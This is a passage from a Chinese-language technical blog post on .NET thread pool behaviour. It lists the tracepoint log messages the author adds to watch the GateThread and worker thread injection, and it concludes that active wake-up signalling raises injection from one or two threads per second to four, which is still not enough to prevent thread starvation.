    1. {!wasSignaledToWake} {this._adjustForBlockingAfterNextDelay}, 延迟时间:{currentTimeMs - this._previousBlockingAdjustmentDelayStartTimeMs} ,上一次延迟:{_previousBlockingAdjustmentDelayMs}

  1. 第二个条件 PerformBlockingAdjustment 处增加
    2. 正在处理任务数:{threadCounts.NumProcessingWork} ,合适线程数:{num},是否要新增线程:{this._separated.numRequestedWorkers>0}

  1. 线程创建 WorkerThread.CreateWorkerThread 处增加
    3. 已成功创建线程

最后把程序跑起来,观察 output窗口 的结果,非常清爽,吉卦。

三:总结

采用主动通知的方式唤醒GateThread可以让每秒线程注入数由原来的
1~2
个提升到
4
个,虽然有所优化,但面对上游洪水猛兽般的请求,很显然也是杯水车薪,最终还是酿成了线程饥饿的悲剧,下一篇我们继续研究如何让线程注入的快一点,再快一点。。。
图片名称